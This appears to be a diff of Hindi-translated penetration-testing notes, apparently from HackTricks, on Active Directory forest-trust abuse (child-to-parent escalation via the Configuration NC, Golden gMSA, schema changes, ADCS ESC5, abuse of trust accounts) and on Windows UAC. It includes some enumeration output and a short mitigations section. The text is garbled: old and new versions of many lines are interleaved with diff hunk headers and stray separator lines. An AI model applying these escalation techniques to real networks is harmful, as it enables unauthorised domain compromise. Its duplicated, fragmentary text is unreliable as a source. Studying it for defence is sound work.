एक सामान्य परिदृश्य में, यदि कोई उपयोगकर्ता **विश्वसनीय डोमेन** में किसी सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
|
||||
एक सामान्य परिदृश्य में, यदि एक उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
|
||||
|
||||
**चरण**:
|
||||
|
||||
1. **डोमेन 1** में एक **क्लाइंट कंप्यूटर** प्रक्रिया शुरू करता है, जो अपने **NTLM हैश** का उपयोग करके अपने **डोमेन कंट्रोलर (DC1)** से **टिकट ग्रांटिंग टिकट (TGT)** का अनुरोध करता है।
|
||||
2. यदि क्लाइंट सफलतापूर्वक प्रमाणित होता है, तो DC1 एक नया TGT जारी करता है।
|
||||
3. फिर क्लाइंट **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है।
|
||||
4. इंटर-रीलम TGT को DC1 और DC2 के बीच साझा किए गए **ट्रस्ट कुंजी** के साथ एन्क्रिप्ट किया गया है जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है।
|
||||
3. क्लाइंट फिर **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है।
|
||||
4. इंटर-रीलम TGT को **विश्वास कुंजी** के साथ एन्क्रिप्ट किया गया है जो DC1 और DC2 के बीच दो-तरफा डोमेन ट्रस्ट के हिस्से के रूप में साझा किया गया है।
|
||||
5. क्लाइंट इंटर-रीलम TGT को **डोमेन 2 के डोमेन कंट्रोलर (DC2)** पर ले जाता है।
|
||||
6. DC2 अपने साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
|
||||
6. DC2 अपने साझा विश्वास कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
|
||||
7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त कर सके।
|
||||
|
||||
### विभिन्न ट्रस्ट
|
||||
@ -526,30 +526,30 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
|
||||
|
||||
**विभिन्न विश्वास संबंध**
|
||||
|
||||
- **पैरेंट-चाइल्ड ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक चाइल्ड डोमेन अपने पैरेंट डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध पैरेंट और चाइल्ड के बीच निर्बाध रूप से प्रवाहित हो सकते हैं।
|
||||
- **क्रॉस-लिंक ट्रस्ट**: जिन्हें "शॉर्टकट ट्रस्ट" कहा जाता है, ये चाइल्ड डोमेनों के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वन में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक पहुँचते हैं। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
|
||||
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेनों के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर के डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। SID फ़िल्टरिंग के माध्यम से सुरक्षा को बाहरी ट्रस्ट के साथ बढ़ाया जाता है।
|
||||
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने और दो-तरफा पारगम्यता सुनिश्चित करने की अनुमति मिलती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
|
||||
- **पैरेंट-चाइल्ड ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक चाइल्ड डोमेन अपने पैरेंट डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध पैरेंट और चाइल्ड के बीच सुचारू रूप से प्रवाहित हो सकते हैं।
|
||||
- **क्रॉस-लिंक ट्रस्ट**: "शॉर्टकट ट्रस्ट" के रूप में संदर्भित, ये चाइल्ड डोमेनों के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वन में, प्रमाणीकरण संदर्भ आमतौर पर वन रूट तक यात्रा करते हैं और फिर लक्षित डोमेन तक। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
|
||||
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेनों के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर एक डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। SID फ़िल्टरिंग के माध्यम से सुरक्षा को बाहरी ट्रस्ट के साथ बढ़ाया जाता है।
|
||||
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन रूट डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने की अनुमति मिलती है और दो-तरफा पारगम्यता सुनिश्चित होती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
|
||||
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेनों के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
|
||||
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेनों के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
|
||||
|
||||
#### **विश्वास संबंधों में अन्य भिन्नताएँ**
|
||||
|
||||
- एक ट्रस्ट संबंध भी **पारगम्य** हो सकता है (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य**।
|
||||
- एक ट्रस्ट संबंध को **द्विदिश ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
|
||||
- एक ट्रस्ट संबंध भी **पारगम्य** (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य** हो सकता है।
|
||||
- एक ट्रस्ट संबंध को **द्विदिशीय ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
|
||||
|
||||
### हमले का मार्ग
|
||||
|
||||
1. **विश्वास संबंधों** की गणना करें
|
||||
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेनों के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
|
||||
1. इस मामले में kerberoast एक और विकल्प हो सकता है।
|
||||
3. **समझौता करें** उन **खातों** का जो **डोमेनों के बीच पिवट** कर सकते हैं।
|
||||
3. **खातों का समझौता करें** जो **डोमेनों के बीच पिवट** कर सकते हैं।
|
||||
|
||||
हमलावरों को दूसरे डोमेन में संसाधनों तक पहुँच प्राप्त करने के लिए तीन प्राथमिक तंत्रों के माध्यम से पहुँच मिल सकती है:
|
||||
|
||||
- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापक" समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है।
|
||||
- **विदेशी डोमेन समूह सदस्यता**: प्रमुख भी विदेशी डोमेन के भीतर समूहों के सदस्य हो सकते हैं। हालाँकि, इस विधि की प्रभावशीलता ट्रस्ट की प्रकृति और समूह के दायरे पर निर्भर करती है।
|
||||
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** में **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
|
||||
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
|
||||
|
||||
### चाइल्ड-टू-पैरेंट वन विशेषाधिकार वृद्धि
|
||||
```
|
||||
@ -580,35 +580,35 @@ WhenChanged : 2/19/2021 1:28:00 PM
|
||||
sid-history-injection.md
|
||||
{{#endref}}
|
||||
|
||||
#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण
|
||||
#### लिखने योग्य Configuration NC का शोषण
|
||||
|
||||
यह समझना महत्वपूर्ण है कि कॉन्फ़िगरेशन नाम संदर्भ (NC) का शोषण कैसे किया जा सकता है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के प्रत्येक डोमेन नियंत्रक (DC) में पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
|
||||
Configuration Naming Context (NC) को कैसे शोषित किया जा सकता है, यह समझना महत्वपूर्ण है। Configuration NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के भीतर प्रत्येक डोमेन नियंत्रक (DC) पर पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs Configuration NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसे शोषित करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
|
||||
|
||||
**रूट DC साइट से GPO लिंक करें**
|
||||
|
||||
कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPOs को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
|
||||
Configuration NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPO को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू की गई नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
|
||||
|
||||
गहन जानकारी के लिए, कोई [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) पर शोध कर सकता है।
|
||||
|
||||
**वन में किसी भी gMSA का समझौता करें**
|
||||
|
||||
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS रूट कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, कॉन्फ़िगरेशन NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS रूट कुंजी तक पहुंच प्राप्त करना और वन में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
|
||||
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS रूट कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, Configuration NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS रूट कुंजी तक पहुंच प्राप्त करना और वन में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
|
||||
|
||||
विस्तृत विश्लेषण [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) पर चर्चा में पाया जा सकता है।
|
||||
|
||||
**Schema परिवर्तन हमला**
|
||||
|
||||
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD वस्तुओं के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD वस्तुओं पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
|
||||
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD वस्तुओं के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD Schema को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे अनधिकृत पहुंच और नए बनाए गए AD वस्तुओं पर नियंत्रण हो सकता है।
|
||||
|
||||
अधिक पढ़ने के लिए [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर जाएं।
|
||||
|
||||
**ADCS ESC5 के साथ DA से EA तक**
|
||||
**DA से EA तक ADCS ESC5 के साथ**
|
||||
|
||||
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) वस्तुओं पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण सक्षम करता है। चूंकि PKI वस्तुएं कॉन्फ़िगरेशन NC में स्थित होती हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
|
||||
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) वस्तुओं पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति देता है। चूंकि PKI वस्तुएं Configuration NC में स्थित होती हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
|
||||
|
||||
इस पर अधिक जानकारी [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ी जा सकती है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
|
||||
इस पर अधिक विवरण [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ा जा सकता है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
|
||||
|
||||
### बाहरी वन डोमेन - एक-तरफा (इनबाउंड) या द्विदिश
|
||||
### बाहरी वन डोमेन - एक-तरफा (Inbound) या द्विदिश
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
इस परिदृश्य में **आपका डोमेन एक बाहरी डोमेन द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सी पहुँच है** और फिर इसे भुनाने की कोशिश करें:
|
||||
इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
इस परिदृश्य में **आपका डोमेन** किसी **विभिन्न डोमेन** के प्रिंसिपल को कुछ **अधिकार** **विश्वास** कर रहा है।
|
||||
|
||||
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है और जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जाए** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
|
||||
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है और जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा सके** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -658,8 +658,8 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID फ़िल्टरिंग:**
|
||||
|
||||
- SID इतिहास विशेषता का उपयोग करके हमलों के जोखिम को SID फ़िल्टरिंग द्वारा कम किया जाता है, जो सभी इंटर-फॉरेस्ट ट्रस्ट पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि इंट्रा-फॉरेस्ट ट्रस्ट सुरक्षित हैं, फॉरेस्ट को सुरक्षा सीमा के रूप में मानते हुए, न कि डोमेन को, जैसा कि माइक्रोसॉफ्ट के दृष्टिकोण के अनुसार।
|
||||
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जाता है।
|
||||
- SID इतिहास विशेषता का उपयोग करके हमलों के जोखिम को SID फ़िल्टरिंग द्वारा कम किया जाता है, जो सभी इंटर-फॉरेस्ट ट्रस्ट पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि इंट्रा-फॉरेस्ट ट्रस्ट सुरक्षित हैं, फॉरेस्ट को सुरक्षा सीमा के रूप में मानते हुए, न कि डोमेन को, जैसा कि माइक्रोसॉफ्ट का मानना है।
|
||||
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जा सकता है।
|
||||
|
||||
### **चयनात्मक प्रमाणीकरण:**
|
||||
|
||||
@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
|
||||
- **डोमेन एडमिन प्रतिबंध**: यह अनुशंसा की जाती है कि डोमेन एडमिन केवल डोमेन कंट्रोलर्स में लॉगिन करने की अनुमति दी जाए, अन्य होस्ट पर उनके उपयोग से बचें।
|
||||
- **सेवा खाता अधिकार**: सेवाओं को सुरक्षा बनाए रखने के लिए डोमेन एडमिन (DA) अधिकारों के साथ नहीं चलाना चाहिए।
|
||||
- **अस्थायी अधिकार सीमा**: DA अधिकारों की आवश्यकता वाले कार्यों के लिए, उनकी अवधि सीमित होनी चाहिए। इसे इस प्रकार प्राप्त किया जा सकता है: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **अस्थायी अधिकार सीमित करना**: DA अधिकारों की आवश्यकता वाले कार्यों के लिए, उनकी अवधि सीमित की जानी चाहिए। इसे इस प्रकार प्राप्त किया जा सकता है: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **धोखे की तकनीकों को लागू करना**
|
||||
|
||||
|
@ -4,17 +4,17 @@
|
||||
|
||||
## UAC
|
||||
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। अनुप्रयोगों के विभिन्न `integrity` स्तर होते हैं, और एक **उच्च स्तर** वाला प्रोग्राम ऐसे कार्य कर सकता है जो **संविधान को खतरे में डाल सकता है**। जब UAC सक्षम होता है, अनुप्रयोग और कार्य हमेशा **गैर-प्रशासक खाते के सुरक्षा संदर्भ में चलते हैं** जब तक कि एक प्रशासक स्पष्ट रूप से इन अनुप्रयोगों/कार्य को प्रणाली पर चलाने के लिए प्रशासक स्तर की पहुंच की अनुमति नहीं देता। यह एक सुविधा है जो प्रशासकों को अनपेक्षित परिवर्तनों से बचाती है लेकिन इसे सुरक्षा सीमा नहीं माना जाता है।
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) एक विशेषता है जो **उच्च गतिविधियों के लिए सहमति प्रॉम्प्ट** सक्षम करती है। अनुप्रयोगों के विभिन्न `integrity` स्तर होते हैं, और एक **उच्च स्तर** वाला प्रोग्राम ऐसे कार्य कर सकता है जो **संविधान को खतरे में डाल सकता है**। जब UAC सक्षम होता है, अनुप्रयोग और कार्य हमेशा **गैर-प्रशासक खाते के सुरक्षा संदर्भ में चलते हैं** जब तक कि एक प्रशासक स्पष्ट रूप से इन अनुप्रयोगों/कार्य को सिस्टम पर प्रशासक स्तर की पहुंच देने के लिए अधिकृत न करे। यह एक सुविधा है जो प्रशासकों को अनपेक्षित परिवर्तनों से बचाती है लेकिन इसे सुरक्षा सीमा नहीं माना जाता है।
|
||||
|
||||
अधिकार स्तरों के बारे में अधिक जानकारी के लिए:
|
||||
अवधारण स्तरों के बारे में अधिक जानकारी के लिए:
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
जब UAC लागू होता है, एक प्रशासक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक मानक उपयोगकर्ता कुंजी, नियमित स्तर के रूप में नियमित क्रियाएँ करने के लिए, और एक प्रशासक विशेषाधिकार के साथ।
|
||||
जब UAC लागू होता है, एक प्रशासक उपयोगकर्ता को 2 टोकन दिए जाते हैं: एक मानक उपयोगकर्ता कुंजी, नियमित स्तर के रूप में नियमित कार्य करने के लिए, और एक प्रशासक विशेषाधिकार के साथ।
|
||||
|
||||
यह [पृष्ठ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC के काम करने के तरीके पर गहराई से चर्चा करता है और लॉगिन प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर को शामिल करता है। प्रशासक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) या Active Directory डोमेन वातावरण में समूह नीति वस्तुओं (GPO) के माध्यम से कॉन्फ़िगर और धकेलकर UAC के काम करने के तरीके को अपने संगठन के लिए कॉन्फ़िगर कर सकते हैं। विभिन्न सेटिंग्स का विस्तार से चर्चा की गई है [यहाँ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)। UAC के लिए सेट की जा सकने वाली 10 समूह नीति सेटिंग्स हैं। निम्नलिखित तालिका अतिरिक्त विवरण प्रदान करती है:
|
||||
यह [पृष्ठ](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC के काम करने के तरीके पर गहराई से चर्चा करता है और लॉगिन प्रक्रिया, उपयोगकर्ता अनुभव, और UAC आर्किटेक्चर को शामिल करता है। प्रशासक सुरक्षा नीतियों का उपयोग करके स्थानीय स्तर पर (secpol.msc का उपयोग करके) या Active Directory डोमेन वातावरण में समूह नीति वस्तुओं (GPO) के माध्यम से UAC के काम करने के तरीके को कॉन्फ़िगर और धकेल सकते हैं। विभिन्न सेटिंग्स का विस्तार से चर्चा की गई है [यहां](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)। UAC के लिए सेट की जा सकने वाली 10 समूह नीति सेटिंग्स हैं। निम्नलिखित तालिका अतिरिक्त विवरण प्रदान करती है:
|
||||
|
||||
| Group Policy Setting | Registry Key | Default Setting |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
@ -33,9 +33,9 @@
|
||||
|
||||
